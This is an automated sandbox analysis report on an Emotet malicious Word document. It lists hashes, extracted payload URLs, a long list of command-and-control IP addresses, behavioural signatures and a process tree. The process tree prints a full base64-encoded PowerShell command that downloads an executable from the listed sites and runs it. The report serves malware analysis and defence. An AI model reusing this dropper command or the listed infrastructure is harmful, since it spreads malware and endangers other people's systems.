Analysis
-
max time kernel
117s -
max time network
154s -
platform
windows7_x64 -
resource
win7 -
submitted
28-07-2020 19:21
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_8b8a580cd020e0bd0471666b6354c24211f043403e1924ae8ae94c1b0a630c28_2020-07-28__192059._doc.doc
Resource
win7
General
-
Target
emotet_e3_8b8a580cd020e0bd0471666b6354c24211f043403e1924ae8ae94c1b0a630c28_2020-07-28__192059._doc.doc
-
Size
169KB
-
MD5
ddad3a37c0baf5a29ca82714192d633a
-
SHA1
abf92157c3674f7523669579fb83b2936de887b9
-
SHA256
8b8a580cd020e0bd0471666b6354c24211f043403e1924ae8ae94c1b0a630c28
-
SHA512
68bfa0abca5e93d43be987277469f643a89159e2d10fc31bbbe507486f02555151417ce8c29fffa51024e7cd039a7854992be34823ef68762b21bf828a36062c
Malware Config
Extracted
http://w3art.com/dtla/bBmTEkbPK/
http://www.stempora.com/@mer/ybV/
http://sundaystudio.net/cgi-bin/bzsvy9778486/
http://sujest.com/BL/nQsQRv/
http://studiotoybox.com/common/qezZSZB/
Extracted
emotet
177.37.81.212:443
74.207.230.187:8080
190.164.75.175:80
87.252.100.28:80
105.209.239.55:80
163.172.107.70:8080
37.208.106.146:8080
24.157.25.203:80
212.112.113.235:80
140.207.113.106:443
75.139.38.211:80
192.210.217.94:8080
46.49.124.53:80
75.127.14.170:8080
87.106.231.60:8080
139.59.12.63:8080
181.167.35.84:80
201.214.108.231:80
74.208.173.91:8080
189.146.1.78:443
212.156.133.218:80
37.70.131.107:80
181.113.229.139:443
144.139.91.187:80
50.116.78.109:8080
46.32.229.152:8080
80.211.32.88:8080
157.7.164.178:8081
113.161.148.81:80
37.46.129.215:8080
216.75.37.196:8080
78.188.170.128:80
192.241.220.183:8080
77.74.78.80:443
81.214.253.80:443
45.118.136.92:8080
113.160.180.109:80
143.95.101.72:8080
181.143.101.19:8080
190.111.215.4:8080
192.163.221.191:8080
203.153.216.182:7080
46.105.131.68:8080
177.144.130.105:443
51.38.201.19:7080
190.55.233.156:80
181.134.9.162:80
178.33.167.120:8080
41.185.29.128:8080
78.189.111.208:443
181.164.110.7:80
203.153.216.178:7080
115.79.195.246:80
195.201.56.70:8080
179.5.118.12:80
185.142.236.163:443
91.83.93.103:443
Signatures
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 1812 powersheLL.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powersheLL.exeflow pid process 5 1812 powersheLL.exe -
Executes dropped EXE 2 IoCs
Processes:
920.exeFXSXP32.exepid process 1920 920.exe 1564 FXSXP32.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
920.exedescription pid process target process PID 1920 wrote to memory of 1564 1920 920.exe FXSXP32.exe PID 1920 wrote to memory of 1564 1920 920.exe FXSXP32.exe PID 1920 wrote to memory of 1564 1920 920.exe FXSXP32.exe PID 1920 wrote to memory of 1564 1920 920.exe FXSXP32.exe -
Emotet Payload 2 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral1/memory/1920-12-0x00000000003F0000-0x00000000003FC000-memory.dmp emotet behavioral1/memory/1564-16-0x00000000003B0000-0x00000000003BC000-memory.dmp emotet -
Office loads VBA resources, possible macro or embedded object present
-
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
WINWORD.EXE920.exeFXSXP32.exepid process 1464 WINWORD.EXE 1464 WINWORD.EXE 1920 920.exe 1920 920.exe 1564 FXSXP32.exe 1564 FXSXP32.exe -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1812 732 powersheLL.exe -
Drops file in System32 directory 2 IoCs
Processes:
powersheLL.exe920.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powersheLL.exe File opened for modification C:\Windows\SysWOW64\ntkrnlpa\FXSXP32.exe 920.exe -
Modifies registry class 280 IoCs
Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{B77E9723-A2C3-4AAE-B048-2C0334398C0A}\2.0\ = "Microsoft Forms 2.0 Object Library" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{B77E9723-A2C3-4AAE-B048-2C0334398C0A}\2.0\FLAGS WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib\{B77E9723-A2C3-4AAE-B048-2C0334398C0A}\2.0 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080} WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1464 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powersheLL.exeFXSXP32.exepid process 1812 powersheLL.exe 1812 powersheLL.exe 1564 FXSXP32.exe 1564 FXSXP32.exe
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_8b8a580cd020e0bd0471666b6354c24211f043403e1924ae8ae94c1b0a630c28_2020-07-28__192059._doc.doc"1⤵
- Suspicious use of SetWindowsHookEx
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
PID:1464
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABZAFUATgBDAEwAbABoAHgAPQAnAEUASQBBAFYARQB2AHgAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABjAGAAVQBSAEkAVAB5AGAAUAByAE8AdABvAGAAYwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABSAE4ATgBZAEoAawB4AG8AIAA9ACAAJwA5ADIAMAAnADsAJABXAEYAVQBQAEMAZQBnAHMAPQAnAFkATgBTAEIATgBwAGwAcwAnADsAJABBAEsAWgBUAEkAdQBkAHYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFIATgBOAFkASgBrAHgAbwArACcALgBlAHgAZQAnADsAJABYAFkATgBNAEwAcwB6AG0APQAnAFcASgBSAEEATwBtAG8AcwAnADsAJABIAEMARwBPAEgAagB2AGkAPQAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBlAEIAYwBMAGkAZQBuAHQAOwAkAFEATwBQAFMAWAB3AHkAZwA9ACcAaAB0AHQAcAA6AC8ALwB3ADMAYQByAHQALgBjAG8AbQAvAGQAdABsAGEALwBiAEIAbQBUAEUAawBiAFAASwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHMAdABlAG0AcABvAHIAYQAuAGMAbwBtAC8AQABtAGUAcgAvAHkAYgBWAC8AKgBoAHQAdABwADoALwAvAHMAdQBuAGQAYQB5AHMAdAB1AGQAaQBvAC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8AYgB6AHMAdgB5ADkANwA3ADgANAA4ADYALwAqAGgAdAB0AHAAOgAvAC8AcwB1AGoAZQBzAHQALgBjAG8AbQAvAEIATAAvAG4AUQBzAFEAUgB2AC8AKgBoAHQAdABwADoALwAvAHMAdAB1AGQAaQBvAHQAbwB5AGIAbwB4AC4AYwBvAG0ALwBjAG8AbQBtAG8AbgAvAHEAZQB6AFoAUwBaAEIALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEUARQBLAFkARgB0AGQAeQA9ACcATABIAE4ARwBTAGQAeQB4ACcAOwBmAG8AcgBlAGEAYwBoACgAJABYAFcAQwBZAEIAbABrAG0AIABpAG4AIAAkAFEATwBQAFMAWAB3AHkAZwApAHsAdAByAHkAewAkAEgAQwBHAE8ASABqAHYAaQAuACIAZABPAGAAVwBuAEwATwBgAEEAZABgAEYAaQBMAGUAIgAoACQAWABXAEMAWQBCAGwAawBtACwAIAAkAEEASwBaAFQASQB1AGQAdgApADsAJABWAEsAVQBCAFEAcABsAGoAPQAnAEwAWQBaAEcATQB1AHoAaAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEEASwBaAFQASQB1AGQAdgApAC4AIgBsAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMAMAA1ADAAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAEUAYABBAGAAVABFACIAKAAkAEEASwBaAFQASQB1AGQAdgApADsAJABaAFMAVQBJAE0AZABuAGUAPQAnAFEAUgBPAEIAUQBtAHMAaQAnADsAYgByAGUAYQBrADsAJABDAE4AVgBNAFYAawByAGEAPQAnAEYAVQBTAEgATABwAGsAeAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABCAEIASQBZAEQAbABnAHQAPQAnAFgAVwBJAFQAVQBtAGQAZQAnAA==1⤵
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Process spawned unexpected child process
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1812
-
C:\Users\Admin\920.exeC:\Users\Admin\920.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Drops file in System32 directory
PID:1920 -
C:\Windows\SysWOW64\ntkrnlpa\FXSXP32.exe"C:\Windows\SysWOW64\ntkrnlpa\FXSXP32.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
PID:1564